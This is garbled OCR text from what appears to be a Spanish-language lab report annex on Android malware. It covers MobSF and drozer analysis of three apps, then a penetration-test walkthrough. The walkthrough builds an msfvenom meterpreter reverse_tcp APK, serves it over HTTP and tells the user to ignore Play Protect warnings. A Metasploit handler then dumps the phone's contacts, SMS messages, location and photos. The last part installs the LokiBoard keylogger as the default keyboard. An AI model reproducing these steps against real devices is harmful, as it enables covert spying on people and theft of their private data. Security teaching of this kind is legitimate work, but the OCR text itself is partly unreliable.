Fingerprint: f9f32662753449dc550fd88f1ed90egabs1ader9369balohsga6t3579c112e75

Found 1 unique certificates

PDF
8 Print

A — i= APPLICATION PERMISSIONS

Imagen 73: Certificado de firma de Android_Keylogger

38. La lista general de los permisos que se deben aceptar para la ejecucion del aplicativo Android

$\ (& | == static Analysis x | =m AndroidManifestxml X+ v _ & o
« > C O 8 [ tatic_analyzer/cc6fd 165bdd3d5falcc3d242e, B %W 9 @ g =

= RECENT STATIC DYNAMIC API DONATE DOCS ABOUT o- Search MDS Q

. ANAIYZER anA 2

{= APPLICATION PERMISSIONS

sEERBB Search:
. coDE
PERMISSION STATUS  INFO DESCRIPTION MAPPINGS
android.permission.ACCESS_NETWORK_STATE  [EEEE) view Allows an application to view
network the status of all networks.
B status
android.permission.INTERNET [ norma | full Internet ~ Allows an application to
access create network sockets.

Showing 1to 2 of 2 entries.

® ANDROID API

GBEHBEBS Search:
I

Imagen 74: Lista general de permisos de Android_Keylogger
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39. Las API’S de la aplicacién Android

== Static Analysis == AndroidManifest.xml

> C

RECENT STATIC DYNAMIC API DONATE DOCS ABOUT e- Search MD5 Q

® ANDROID API

EEBES Search:
API “  FILES
Execute 05 Command
Inter Process Communication

Local File |0 Operations
able Activities

Sending Broadcast
Security Analysis
Starting Activity

Showing 1to 5 of 5 entries

1B BROWSABLE ACTIVITIES

BEBES Search:

Imagen 75: Api’s de Android_Keylogger

40. Aqui se encuentra el certificado de andlisis de la aplicacion con un severity alta y media.

Ayuda

® Firefox 12denov 1005 0 &40

== Static Analysis X =a AndroidManifest.xml X+ v - a X

> C

RECENT STATIC DYNAMIC API DONATE DOCS ABOUT o- Search MDS Q

&5 CERTIFICATE ANALYSIS

HIGH INFO
1 1
BEBRS Search:
TITLE “  SEVERITY DESCRIPTION
Application vulnerable warning Application is signed with v1 signature scheme, making it vulnerable to Janus
to Janus Vulnerability vulnerability on Android 5.0-8.0, if signed only with v1 signature scheme. Applications.

running on Android 5.0-7.0 signed with v1, and v2/v3 scheme is also vulnerable.

Certificate algorithm [ hign | Application is signed with SHATwithRSA. SHAI hash algorithm is known to have
vulnerable to hash collision issues.

collision

Signed Application [ into } Application is signed with a code signing certificate

Showing 1to 3 of 3 entries

Previous Next

nc

Imagen 76: Certificado de Analisis de Android_Keylogger
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41. En este apartado se presenta la definicion de la estructura y el comportamiento de

aplicacion, se manifiestan los permisos, componentes, configuraciones de seguridad.

® Firefox
= static Analysis x| = aAndroidManifest.xml

»> C

STATIC

RECENT

Q, MANIFEST ANALYSIS

HIGH
Inform 2

SEBBS

NO *  ISSUE

DYNAMIC

ANALVZER ANA

12denov 10:05

App can be installed on a vulnerable upatched

Android version

Android 4.0.3-4.0.4, [minSdk=15]

Debug Enabled For App
[android:debuggable=true]

Print Report

Crart Munam

API DONATE DOCS ABOUT o-

Search MD5

SUPPRESSED

Search:
SEVERITY DESCRIPTION

This application can be
installed on an older version of

android that has multiple
unfixed vulnerabilities. These
devices won't receive
reasonable security updates
from Google. Support an
Android version => 10, API 29 to
receive reasonable security
updates.

Debugging was enabled on the
app which makes it easier for
reverse engineers to hook a
debugger to it. This allows
dumping a stack trace and

o

OPTIONS

=~

Imagen 77: Manifest Analysis de Android_Keylogger

42. Aqui en Code Analysis se presenta el anlisis de seguridad del codigo fuente con el objetivo

de identificar debilidades y posibles vulnerabilidades en el codigo de la aplicacién de

Android.

 Firefox

== Static Analysis x == ApdroidManifest.xml

RECENT
<[> CODE ANALYSIS
HIGH
1
EEERBS
NO 4 ISSUE
The App logs information.

Sensitive information should
never be logged

Debug configuration enabled
Production builds must not be
debuggable

Showing 1to 2 of 2 entries

12de nov 10:06

SEVERITY

DONATE DOCs ABOUT o-

SUPPRESSED
[

Search:
STANDARDS FILES

CWE: CWE-532: Insertion of
Sensitive Information into

com/bshu
androidkeylogger
LogFile

OWASP MASVS: MSTG-

STORAGE-3

MainActivity.java

CWE: CWE-919: Weaknesses
in Mobile Applications
OWASP Top 10: M1:
Improper Platform Usage
OWASP MASVS: MSTG-
RESILIENCE-2

«com/bshu2/
androidkeylogger

BuildConfig java

Search MD5

OPTIONS

Imagen 78: Code Analysis de Android_Keylogger
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43. Aqui se manifiesta el dominio que se encuentra asociado la aplicacion, se refiera a la

conectividad del servidor

Ayuda

® Firefox

= Static Analysis x| ma AndroidManifest.xml X ar

STATIC DYNAMIC API DONATE DOCS ABOUT o- Search MDS Q

DOMAIN *  STATUS GEOLOCATION

€s460-android-keylogger.appspot.com o 1P: 142.250.78.116
Country: United States of America

Region: California
(Ot City: Mountain View
Latitude: 37.405991
Longitude: -122.078514
View: Google Map

Showing 1to 1 of 1 entries

previous [l vex

#URLS
SERBBS Search:
URL 4+ FILE
PDF Report
https://cs460-android-keylogger.appspot.com com/bshu2/androidkeylogger/Keylogger.java

B Pprint

Showing 1 to 1 of 1 entries

Imagen 79: Conectividad al servidor Android_Keylogger

44. Se ejerce el almacenamiento del archivo en la ruta deseada como reporte general para mas

visualizacién

12 de nov 10:08

[ 1cc3d242¢/ B % W

Imprimir 19 hojas de papel

Destino

% FILE INFORMATION AP INFORMATION D Guardar como PDF

Cancelar Nombre | Static Analysis_android_keylogger.pdf

{ai Carpeta personal < fatprueba  Descargas
0§ Descargas
Static Analysis_Pruebaapk.pdf 282,5kB Documento 09:48
[3 Documentos
(& Imagenes
1 Misica

3 Videos

+ Otras ubicaciones

Acthities
o

Imagen 80: Guardar el reporte de andlisis estatico de Android_Keylogger
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ANALISIS DINAMICO - MALWARE’S
MALWARE - PRUEBA.APK
45. Una vez instalado la aplicacion prueba.apk en el dispositivo desde la console de
drozer ejecutar ¢l comando “run app.package.list —f nombre paquete” en este caso

es metasploit el virus “MainActivity”

rted by the

Imagen 81: Buscar el package de prueba.apk — Dinamico

46. Una vez hallado el package, con el comando “run app.package.info —a com.metasploit.stage”

se mostrara la informacidn detallada sobre el paquete de la aplicacion.

Imagen 82: Informacién del package prueba.apk — Dinamico
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47. Con el siguiente comando “run app.package.attacksurface com.metasploit.stage”,
sirve para inspeccionar todos los componentes exportados (Actividades, servicios,
receptores, entre otros) de la aplicacion para identificar posibles puntos de entradas.

Imagen 83: Inspeccionar los componentes de prueba.apk — Dindmico

48. Con el comando “run app.activity.info -a com.metasploit.stage”, sirve para exponer

las actividades que pueden ser vulnerables si no estan protegidas

Imagen 84: Exponer las actividades de prueba.apk — Dinamico
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49. Con el comando “run app.activity.start --component com.metasploit.stage
com.metasploit.stage.MainActivity”, sirve para interactuar con la actividad de la

aplicacion y se observa que permite activa todo los permisos al abrir la apk

Imagen 85: Interactuar con prueba.apk — Dindmico

9:37 & N =l 100% 0
g Selecciona los permisos de
acceso para MainActivity
Ubicacion ®
Teléfono ®
SMS )
Micréfono @
Contactos
S @
Camara @
Almacenamiento
| I | &
[ I [PROEGSERE [RY
Cancelar Continuar

Imagen 86: Inicio de aplicacion Prueba.apk — Dindmico
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MALWARE - MAGISTV.APK

50. Comando “run app.package.list —f magis” sirve para encontrar el paquete de la

aplicacion analizar.

[=] Seleccionar ¢

now deprecated in

105M 11)

Imagen 87: Buscar el package de Magistv - Dindmico

51. Con el comando “run app.package.info —a com.msandroid.mobile”, sirve para

mostrar la informacion de la aplicacion y presentar los permisos que administra.

Imagen 88: Informacioén del package de Magistv — Dinamico
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52. Con el comando “run app.package.attacksurface” com.msandroid.mobile” sirve para
conocer las actividades que presenta el package de las aplicaciones, broadcast y

servicios exportados.

mobi 1e-XGizxelolHQy TFWakdsecw==/base. ap!

Imagen 89: Listar las actividades del package Magistv — Dindmico

53. Con el comando “run app.activity.info —a com.msandroid.mobile” sirve para listar

todos los servicios que cuenta el package de la aplicacion

RVICE

Imagen 90: Lista de servicios del package Magistv — Dinamico
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54.Con el comando “run app.activity.strart —component com.msandroid.mobile
com.mobile.brasiltv.activity.SplashAty” sirve para levantar servicio al dispositivo Y

ese corresponde a la pantalla principal para aceptar los permisos.

Python 2 is no longer supported by the Python core team. *t for it is now deprecated il

id.mobile com.mobile.b:

Imagen 91: Levantar los servicios de package Magistv — Dindmico

55. De misma forma se ejecutan los demas servicios para presentar la interaccion con la

aplicacion y ver su movimiento de accién

Al@5M 11)

) } from Proc

Imagen 92: Ejecucion de los demas servicio Magistv — Dindmico
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MALWARE - ANDROIDKEYLOGGER.APK

56. Con el comando “run app.package.list —f keylogger” sirve para efectuar la biisqueda

del package de la aplicacion androidKeylogger para el analisis

Imagen 93: Buscar package de Android_Keylogger — Dindmico

57. Con el comando “run app.package.info —a com.googl.speed” sirve para mostrar la

informacidn del paquete de la aplicacién, como los permisos que administra.

em32\cmd.exe - drc

port for

Imagen 94: Mostrar informacion del package de Android_Keylogger — Dinamico
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58. Con el comando “ run app.package.attacksurface com.googl.speed” sirve para en
listar los servicios, broadcast y las actividades exportadas que el paquete de la

aplicacion cuenta.

A1OSM 11)

Imagen 95: Listar las actividades de package Android_Keylogger — Dinamico

59. Con el comando “run app.activity.info —a com.googl.speed” sirve para listar los

servicios que el paquete cuenta.

nsole connect
o longer

105M 11)

key
null

Imagen 96: Listar servicios de package Android_Keylogger — Dinamico
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60. Con el comando “run app.activity.strart —component

com.googl.speed

com.bshu2.androidKeylogger.MainActivity, sirve para iniciar un servicio del

paquete.

Imagen 97: Iniciar un servicio de package Android_Keylogger — Dinamico

61. Al ejercer el inicio de la actividad la aplicacion mostro cambio y envié un mensaje

de permiso al movil. . = a1 100%m

Solicitud de superusuario

@ AndroidKeylogger
com.googl.speed

Siempre -

Le concedes a esta app acceso completo a tu
dispositivo.
iRechaza la solicitud si desconfias de ella!

DENEGAR (2)

Imagen 98: Inicio de la aplicacién Android_Keylogger por el servicio — Dindmico
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ANEXO #5

FASE IV: PRUEBAS DE
PENETRACION
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ESCENARIOS DE PRUEBAS

MALWARE VIRUS - PRUEBA.APK

Escenario: _1: Conocer el status del Android y crea un archivo de prueba txt

Obijetivo: Elevar privilegios para evadir seguridad y encontrar activos informaticos

Tiem

1.

po: 25 minutos

Conocer el hostname de la maquina atacante para crear el virus informético con el
siguiente comando, -p referencia al payload, LHOST al hostname de la maquina,
LPORT el puerto de escucha por reverse_tcp y —o es el archivo de salia, que es
formato. Apk

Archivo Méquna Ver Entrada Dispesiivos Ayuda

A emPoil |23 4|0

root@kali: fhome/kali

File Actions Edit View Help

/home/kali
) android/meter rse_tcp LHOST-192.168.100.101 LPORT=443 -0 prueba.apkl]

Imagen 99: Creacion de payload malicioso como prueba.apk

2. Virus informatico creado correctamente con las configuraciones definidas para ser

usado en el dispositivo Android para evadir seguridad y conocer de su status como
activos de informacion

Avide

Archivo Micune' Ver  Entrada " Depositvos
N a1 2 3 4

File Actions Edit View Help

/home/kali

Imagen 100: Creacion de payload exitoso
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3. Activar el servidor Python para que el archivo payloads se descargue desde la
maquina victima desde la misma linea de comunicacion de red.

Ver Entrada Dispositivos  Ayu

mEP | 2 3 | € o4 & @ |a e

E root@kali: fhome/kali
File Actions Edit View Help

/home/kali

erving HTTP on

Imagen 101: Activar servidor python

4. En el dispositivo movil se conecta al servicio de red puente del router, y se inserta la
direccion en el navegador “http://192.168.100.101/ y se debe conectar al servidor de
python para interactuar con los archivos presentes

Solo emergencia @ @ 1 K/s @& = [D98 ¢ ®ih 22:26

O A 192.168.100.101 =+ @ :

Directory listing for /

JICEauthority

sudo as admin successful
-clipboard-tty7-control.pid

« .vboxclient-clipboard-tty7-service.pid

e .vboxclient-display-svga-x11-tty7-
control.pid

« .vboxclient-display-svga-x11-tty7-
service.pid

* .vboxclient-draganddrop-tty7-control.pid

« .vboxclient-draganddrop-tty7-service.pid
- .vboxclient-hostversion-tty7-control.pid

- vgoxcllent seamless-tty7-control.pid

t-sea ess- Z—se[y]ggmg

- vbozcllent -vinsvga-session-tty7-
control. p

Imagen 102: Descargar la Apk desde el movil
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5. Buscar el archivo creado por msfvenom nombrado “prueba.apk”

Solo emergencia @ 0 K/s @ = [D98 % f#n 22:26
- .gnupg/
« . ICEauthority

.sudo _as ad success

vboxclient-clipboard-tty7-control.pid
_‘Lb_x_h_m_uoc ent-clipboard-tty7-service.pid
.-vboxclient-display-svga-x11-tty7-

control.pid
« .vboxclient-display-svga-x11-tty7-
service.pid

« .vboxclient-draganddrop-tty7-control.pid
« .vboxclient-draganddrop-tty7-service.pid
= .vboxclient-hostversion-tty7-control.pid
« .vboxclient-seamless-tty7-control.pid
= .vboxclient-seamless-tty7-service.pid

« .vbo xghgnt—ym svga-session-tty7-

« Desktop/

Documents/
« Downloads/
* Music/

« Pictures/

« prueba.apk
« Public/

« Templates/
« Videos/

Imagen 103: Buscar el archivo prueba.apk

6. Descargar el archivo apk para proceder a su instalacion en el dispositivo movil. Dar
en conservar para descargar el archivo sin importar las indicaciones de segura

Solo emergencia @ 0 K/s @ = D97 % @ 22:26

O A 192.168.100.101 —+ (6D}

No es posible descargar el
archivo de forma segura

(10,00 KB)

Descartar Conservar

Imagen 104: Aceptar en conservar la apk aunque no sea segura
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7. Se descarga correctamente el archivo apk para abrir

Solo emergencia <z 9Q O K/s @ = D97 % e 22:27
O A 192.168.100.101 + @ :

+~ Archivo descargado Abrir
(10,00 KB) 192.168.100.101

,xb_st:lLem_chpb_Qam_tLyJ_c_o_nn_QLm
/Z-service.pid

-vboxclient-display-svga-x11-tty7-

control.pid

- .vboxclient-display-svga-x11-tty7-

service.pid

» .vboxclient-draganddrop-tty7-control.pid

« .vboxclient-draganddrop-tty7-service.pid

- .vboxclient-hostversion-tty7-controlpid
* .vboxclient-seamless-tty7- control pid

* .vboxclient-seamless-tty7-ser pid
= .vboxclient-vmsvga-session-tty7-

control.pid
X5 ~
- .Xsession-errors
e .ZS istory
e .zshrc
« Desktop/

Documents/
« Downloads/
« Music/

« Pictures/

e prueba.apk
= Public/

« Templates/
= Videos/

Imagen 105: Abrir la apk para instalar

8. Se presenta el portal de inicio de instalacion de la aplicacion con los permisos que se
requiere

Solo emergencia o 19 B/s @& 5, D97 % e 22:27

o MainActivity

¢Deseas instalar la aplicacién? Esta tendra
acceso a lo siguiente:

Tomar fotografias y grabar videos

leer los contactos

modificar los contactos

leer contenido de tarjeta SD

modificar o eliminar contenido de tarjeta SD
grabar audio
modificar la configuracién del sistema

enviar mensajes SMS
esto puede generar costos
leer mensajes (SMS o MMS)

recibir mensajes (SMS)

brindar ubicacién aproximada (basada en red);

CANCELAR SIGUIENTE

Imagen 106: Portal de instalacion
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9. Dar clic en instalar para aceptar todos los permisos de la aplicacion sin riesgo alguno

Solo emergencia) @ 2 K/s & = [D97 % @i 22:29

O MainActivity

¢Deseas instalar la aplicacién? Esta tendra
acceso a lo siguiente:

grabar audio
modificar la configuracion del sistema

enviar mensajes SMS
esto puede generar costos
leer mensajes (SMS o MMS)

recibir mensajes (SMS)

brindar ubicacién aproximada (basada en red);

ubicacién precisa (GPS)

escribir en el registro de llamadas
leer el registro de llamadas
leer la identidad y el estado del teléfono

llamar directamente a nimeros de teléfono
esto puede generar costos

CANCELAR INSTALAR

Imagen 107: Aceptar todos los permisos

10. Al iniciar el proceso de instalacion de la aplicacion, google play protect manda una
notificacidn de seguridad para activar, pero dar clic en rechazar para continuar con la
instalacion.

® Google Play Protect

;Quieres activar
Play Protect?

Google Play Protect revisa el dispositivo y
las apps periodicamente en busca de
comportamiento daiino. Si se encuentra
algun riesgo de seguridad, recibiras una
notificacion.

Mas informacion

Aceptar

Rechazar

Imagen 108: Dar en instalar de todos modos
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11. La instalacion de la aplicacion esta completada, pero asi mismo google play protect
manifiesta que la aplicacion instalada posiblemente sea un archivo dafiino que puede
dafiar el dispositivo como virus informatico, pero aun asi se da clic en ignorar.

Solo emergencia @ 0K/s @& = D94 % @ 22:36

€&  MainActivity

ol

MainActivity

Esta aplicacion contiene un virus. Desinstélela de
inmediato.

No volver a recordarme

IGNORAR DESINSTALAR

Imagen 109: Dar clic en ignorar

12. Aplicacion instalada correctamente y se presenta en la lista de las aplicaciones del
dispositivo Android movil.

|||||

nnnnnnn

Imagen 110: Instalacion completa de la apk
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13. Se ejecuta el comando msfconsole para configurar correctamente la interaccion del
archivo malicioso cuando es ejecutado con un click

Archivo  Maquina Ver Entrada Dispositivos Ayuda
BEmmPorl| 23 4|6 - O 4% A p2353|ac

root@kali: /home/kali

File Actions Edit View Help

/home/kali

Metasploit tip: When in a module, use back to go back to the top level
prompt

Metasplo: on: https://docs.metasploit.com/

nsf6 > I

Imagen 111: Ejecutar msfconsole para configurar el payload de la APK

14. Metasploit ejecutado perfectamente, se inserta el comando “use multi/handler” para
permitir recibir sesién de control de un dispositivo objeto y gestionar el acceso lo cual
es fundamental en pruebas de penetracion.

[GIE DI W QP -
root@kali: /home/kali

File Actions Edit View Help

/home/kali
f 1
Metasploit tip: When in a module, use back to go back to the top level
prompt

5://docs.metasploit.com/

/shell_:

Imagen 112: Ejecutar el comando use multi/handler
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15. Comando “set payload android/meterpreter/reverse tcp” es el tipo de payload

utilizado en el archivo malicioso que va a permitir escuchar entre maquina victima a
maquina atacante

|O & A& moi|a G

root@kali: fhomejkali

File Actions Edit View Help

Imagen 113: Insertar el payload de configuracion a la prueba.apk

16. Con el comando show options se libera todas las configuraciones que se deben definir
para la correcta funcion del use multi/handler hacia la carga Gtil(payloads)

O4 8§50t & C

root@kali: fhomefiali

-d command.,

Imagen 114: Comando show options para ver que configuracion esta firmada
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17. Se configura la direccion de la maquina victima y el puerto de escucha con el
comando set LHOST y el set LPORT

Archivo Maguina

TrYY =N

root@kali: fhome/kali
File Actions Edit View Help

) MX

M n

(
ndroid/meter
ploit(

options (android/m

(an interface may be specified)
LPORT 4444

Exploit
Id

]

the full module info with the . or info -d command.

ploit( LHOST 192.168.100.101
68.100.101
LPOR

Imagen 115: Insertar el LHOST Y LPORT de la maquina victima

18. Una vez configurado exitosamente se libera el comando “run o exploit” para correr
la escucha del reverse _tcp hacia el payload malicioso instalado en el dispositivo
Android

Archivo  Méquina Ver Entrada Dispositivos
ReomP D) 2 3 4 |€ - O 4 A mO0%|a c
0 root@kali: fhome/kali

File Actions Edit View Help

reverse_tcp

g Required Description

The 14 address (an interface may be specified)
The 1i

Exploit target:

1d  Name

e full module info with the , or com
) > set LHOST .100.101
.100.101
set LPORT 443

) > run

CP handler on 192.168.100.101:443

Imagen 116: Ejecutar run para que desarrolle la herramienta
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19. Una vez que el usuario victima de clic a la aplicacion malicioso en su dispositivo
movil, se da sesion en la maquina atacante en formato terminal.

T Y At

File Actions Edit View Help

root@kali: fhomelkali

com/

may be specified)

-d command.

2.168.100.101

Imagen 117: Sesion iniciada correctamente

20. Con el comando help se observa una lista de accidon que puede emplear meterpreter y

a su vez el uso del comando “dump_contacts” que sirve para extraer todos los
contactos que existen en el dispositivo.

Archivo  Maquina Ver Entrada D

VeomPo-

: O ¢ A & 14| & c
root@kali: fhome/kali
File Actions Edit View Help

Stdapi: Audio Output Com

Descript

file (.wav) on the t

Command

y from a Uri string

to install apk file
talled app

a Acti

app_uninstall R to uninsta

in the device

y for p
11 application

info on a specific

s_dump_20241120011420. txt

Imagen 118: dump_contacts descragar la lista de contactos
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21. Con el comando “dump sms” se extraecr de misma forma toda la informacion
relevante de los mensajes de texto que el dispositivo cuenta.

Archivo Méquina Dispositivos  Ayuda

B omP | O 8 &TH|a e

root@kali: fhomefkali

File Actions Edit View Help

Command Description

pl play a waveform
Android Commands

Conmand Descriptien

activity_star art an Android activity from a Uri string
heck if device is rooted

dump_sms
eolocate g
hide_app icon from the
interval_collect rval collection c
send_sms
set_audio_mode

elock
wlan_geolocate

app_uninst

more info on

ts into list
t saved to: cont;
dump_sms.
Fetching 16 sms mess
d to

Imagen 119: Dump_SMS extraccion de mensajes del movil

22. Con el comando app_list se observa la lista de las aplicaciones que el usuario cuenta
en su dispositivo Android.

Archivo  Maguina Ent Dispositivos  Ayuda

AomPorl:

E root@kali:

File Actions Edit View Help

r more info on a specific comn:

st

Running

alizar sistema
Administ: een de 11
Administrador de almacenamiento
Agente de obs. de Market

droid.provid
droid.provide

i.appmarke
com.huawei.hifolder

oogle.android.setupwiza
Ayu r droid. defcontaine:
Bloc desenotas e
ooth
ooth MIDI Servic .android.bluetoothmidiservice
id . bookmarkprov

g Backup/Restor
mbio de portadas de Huawei
ptivePortallogin

i
+ HwMu 1t i

ptu;
Chrome

Imagen 120: Comando app_list ejecuta todas las aplicaciones del Android
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23. Con el comando geolocate,
dispositivo Android

permite extraer la

informacion de la ubicacion del

Entrada

Miquina Ver

]

Dispositivos  Ayuda

dF]v| 1 2

File Actions Edit View Help

app_install install apk file
pps in the dev
ckage name
pp_uninstall

r more info on a specific command, use

Starting
Preparing
Opening pl

play

e this
doun session: 10

- Meterpreter session 10 closed.

ending st;
Meterpreter

with

8 -0500

11 iy

TS

Imagen 121: Geolocate obtener la ubicacion del dispositivo

24. Direccionarse a las carpetas del sdcard para indagar que imagenes cuenta y se observa

3 imagenes en cuestion

Archivo

x

Méquna Ver Enrada

‘m PO

Dispositivos  Ayuda

File Actions Edit View

modified

Android
DCIM
Download
Huawei

040
040776/ TwxXrwxIw
040776/
040776/ Tux
040776/ Tux:
040776/
040776/
040776/
040776/ TWXTWXTW-
040776/ rux ruxry
040776/
040776/T
040776/

040776/ rwxrwxrw

-0500
-0500
-0400
-0400
X 7 ) -0400
-0400

6 -0400

Movies
Music
Notific
Pictur
Pod:

meterpreter » cd DCIM
meterpreter > ls

st modified

040777/
040776/T

1:51 -0500

2024-11-07 07

meterpreter
meterp;
Listing:

Mode

1006
100¢
100¢

082515. jpg
20240829_195409. jpg

root@kali: fhome/kali

p:

Imagen 122: Verificacion de rutas para hallar imagenes
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25. Con el comando “download /storage/emulted/0/DCIM/Camera/nombre_archivo.jpg”
se desarrolla la descarga de la imagen, que en este caso son 3 imagenes.

Archive Maquina Ver Entrada
BEa@mPor
T root@kali: fhome/kali

File Actions Edit View Help

576 dir 202 146 -0500

0 100 -0408 IN
1472700 f 2 7 04

d/e/DCIN/
n c

load? Run the
/MG 9.3pg
— /home/ka

IH

-irg
15.jpg
g: /storage/emul e 5 15.jpg — /home/kali/ING 082515.5pg
Downloaded 1,00 MiB of 1.40 M : 02 — /home/kali/ING 2
Downloaded 1.48 MiB of 1
C ed

9_195409.3pg
MiB (73.71: 0 _195409.jpg — /home/kali/ING
36 MiB (100.0; tor e J e J 9_195409.3pg — /home/kali/IMG
ed/0/! e G_: _195 9_195409.

Imagen 123: Descargar las imagenes del dispositivo comprometido

26. Como resultado final se obtuvo los contactos, los sms, imagenes, geolocalizacion, y
una prueba de sonido.

ura Ver Entrada Dsposty
SmBPOE
lali - Thunar

A kali

n &

nloads Music P Public

sms_dump_2024
20011435.6

® Videos

¥ Downloads

Devices

@ File System
Network

) Browse Ne

Imagen 124: Informacion general de lo hallado en la computadora.
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MALWARE - ANDROID_KEYLOGGER

Escenario: _2: Capturar pulsaciones de teclado del Android

Objetivo: Capturar todas las acciones del teclado Android para encontrar informacion relevante
Tiempo: 8 minutos

1. Descargar la apk desde el repositorio Github del siguiente link
“https://github.com/IceWreck/LokiBoard-Android-Keylogger?tab=readme-ov-file”

aplicacién prebuilt apks

Solo emergencia @ 0K/s 3@ = D84 % [#) 11:51

00 README  &[8 Apache-2.0 license
LOKIBOdAra-Amnaroia-

&

KeyLogger

Android Keylogging Keyboard

¢ Download

Build it from source or use prebuilt apks.

Play Store
¢ Usage

Note: You need to have physical access
to the device for use.

e |nstall app.

e Open the language and input section
in the System Settings if it does not
automatically open after install

e Enable Lokiboard and disable all
other forms of input.

e The homescreen icon is hidden by
default. LokiBoard Settings can be

Imagen 125: Descargar la apk desde github
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2. Al realizar clic en prebuilt apks comienza la descarga de la aplicacién para su instalacién.

Solo emergencia® ¥ 78 K/s 3 &= (D83 % [(#) 11:52

(O % github.com/lcew. <+ (2

Archivo descargado _
Y  (861,67KB) Abrir
raw.githubusercontent.com

KeyLogger
Android Keylogging Keyboard

¢ Download

Build it from source or use prebuilt apks.

Play Store
¢ Usage

Note: You need to have physical access
to the device for use.

e Install app.

e Open the language and input section
in the System Settings if it does not
automatically open after install

e Enable Lokiboard and disable all
other forms of input.

Imagen 126: Abrir la apk prebuilt.apks
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3. Una vez finalizado la descarga, se procede abrir el archivo para instalar la apk en el

dispositivo movil.

Solo emergencia 374B/s 3 ® =, (083 % @) 11:52

LokiBoard Keyboard

¢Deseas instalar esta aplicacion? No requiere
accesos especiales.

CANCELAR INSTALAR

Imagen 127: Portal de instalacion — Instalar
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4. Aplicacidn instalada correctamente

Solo emergencia 39K/s 3@ = [D82 % @ 11:52

LokiBoard Keyboard

Se instalo la aplicacion.

FINALIZADO ABRIR

Imagen 128: Instalacién correcta
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5. Una vez se ejecuta la aplicacion se representa una notificacién de configuracion para poder

interactuar con el LokiBoard Keyboard, y dar en OK

LokiBoard Keyboard no esta
habilitado. Haga clic en OK para
abrir Idiomas & Ajustes de entrada.
Necesitara seleccionar LokiBoard

Keyboard en su teclado actual para
usarlo.

CANCEL

Imagen 129: Ejecutar la aplicacion y dar OK
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6. Al dar OK nos direcciona a la configuracion del teclado virtual del dispositivo mévil y
aparece el de la aplicacién instalada, se lee la notificacion de manera detenida y se observa
que informacion se puede obtener, dar en OK

Solo emergencia 211 B/s 3 & = (082 % @) 11:53

<~ Teclado virtual disponible

=)

Dictado por voz de Google
Automatico

LokiBoard Keyboard
¢

Espanol

G

Nota

Este método de ingreso de texto puede
registrar todo lo que se escribe, lo que incluye
datos personales, como contrasefasy
numeros de tarjetas de crédito. Procede de la
aplicacion LokiBoard Keyboard. ;Utilizarlo?

CANCELAR ACEPTAR

Imagen 130: Aceptar el método de ingreso de texto de la apk
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7. Aparece otra notificacion a tomar en cuenta, desde que el dispositivo sea reiniciado o
blogueado a desbloquear la aplicacidn reinicia el registro y luego de leer lo establecido dar

en “Aceptar”

Solo emergencia OK/s 3@ =, [082 % # ) 11:53

<~ Teclado virtual disponible

=

Dictado por voz de Google
Automatico

LokiBoard Keyboard
¢

Espanol

C

Nota: Después de un reinicio, esta aplicaciéon
no puede iniciarse hasta desbloquear el
teléfono.

CANCELAR ACEPTAR

Imagen 131: Aceptar la notificacion de desbloqueo
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8. Una vez leido las notificaciones se selecciona el lokiboard keyboard a usar

Solo emergencia OK/s 3@ =082 % [#h11:53

< Teclado virtual disponible

e

Dictado por voz de Google
Automatico

LokiBoard Keyboard
y -

Espanol

o
Sd

Imagen 132: Activar el Lokiboard Keyboard
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9. Otra parte esencial es seleccionar el teclado por determinado en el sistema del dispositivo

movil, seleccionar en Idioma e ingreso de texto

Solo emergencia 10,7K/s 3 & = D82 % & 11:54

<~ Sistema Q

Acerca del teléfono

Actualizar sistema
Navegacion del sistema

Idioma e ingreso de texto

Fechay hora

Modo simple

Modo viaje No

Transferencia de datos
Respaldo y restauracion

Restablecimiento

Opciones del desarrollador

Mejora de experiencia del usuario

Imagen 133: Cambiar teclado predeterminado en sistema
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10. En la opcidn de teclado predeterminado aparece el teclado por defecto del sistema operativo,
seleccionar aquello y cambiar al Lokiboard Keyboard

Solo emergencia 455B/s 3 & =, 082 % [#h 11:54

<~ Idioma e ingreso de texto

Idioma
Espanol (Ecuador)

TECLADO Y METODOS DE INGRESO

Teclado virtual

Teclado fisico

Teclado Microsoft
Teclado predeterminado SwiftKey - Teclado
Microsoft SwiftKey

Teclado Microsoft SwiftKey
Teclado Microsoft SwiftKey

LokiBoard Keyboard
Espanol

AVANZADOS

Rellenar automaticamente
Salida de texto a voz

Velocidad del puntero

Imagen 134: Teclado predeterminado
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11. Seleccionar Lokiboard keyboard

Solo emergencia 0K/s 3@ = D82 % [# ) 11:54

<~ Idioma e ingreso de texto

Idioma
Espaiiol (Ecuador)

TECLADO Y METODOS DE INGRESO

Teclado virtual

Teclado fisico
Teclado Microsoft
Teclado predeterminado SwiftKey - Teclado
Microsoft SwiftKey

Teclado Microsoft SwiftKey
Teclado Microsoft SwiftKey

LokiBoard Keyboard
Espanol
Seleccionar modo de ingreso

LokiBoard Keyboard

Espanol

Teclado Microsoft SwiftKey (@)

CONFIGURAR METODOS DE INGRESO

Imagen 135: Seleccionar Lokiboard como predeterminado
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12. Configuracion terminada exitosamente, ahora aprobar que captura.

Solo emergencia 09K/sB®=MD81%

< Idioma e ingreso de texto

Idioma
Espanol (Ecuador)

TECLADO Y METODOS DE INGRESO
Teclado virtual

Teclado fisico

Teclado predeterminado

Teclado Microsoft SwiftKey
Teclado Microsoft SwiftKey

LokiBoard Keyboard

Espanol
AVANZADOS

Rellenar automaticamente
Salida de texto a voz

Velocidad del puntero

# )1 11:54

Espanol - LokiBoard
Keyboard

Imagen 136: Cambio exitosos del teclado
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13. Realizamos la primera captura al insertar en el cuadro de bdsqueda de las aplicaciones

Solo emergencia @ OK/s 3@ =, D81 % [#) 11:55

PRueb3 X

80
00

Buscar mas aplicaciones

Imagen 137: Prueba demostrativa
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14. En la aplicacion archivos se busca el package de la aplicacion en la ruta “Android/data” el

com.abifog.lokiboard — files — lokiboard-files.txt.

Solo emergencia 214 B/s 3 & =, 081 % & 11:55

Buscar

D E

Imagenes Videos Audio Documentos
27 0 1 0
(<]
Archivos Aplicaciones Favoritos Caja fuerte
14 18 0

= Almacenamiento interno
— Almacenamiento utilizado: 15,03 GB/16 GB

Almacenamiento local Disponible 0,97 GB g

© ™ —

Recientes Categorias Yo

Imagen 138: Buscar El file.txt del almacenamiento Interno
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15. Se encuentra el packages de la aplicacion “com.abifog.lokiboard”

Solo emergencia OK/s 3@ =, 081 % &) 11:55
< Almacenamiento interno

data

com.abifog.lokiboard
Ahora - (1)

com.android.chrome
17/11/24 - (1)

com.android.contacts
6/10/24 - (0)

com.android.gallery3d
20/11/24 - (3)

com.android.providers.media
27/2/74 - (1)

com.android.pr...ders.telephony
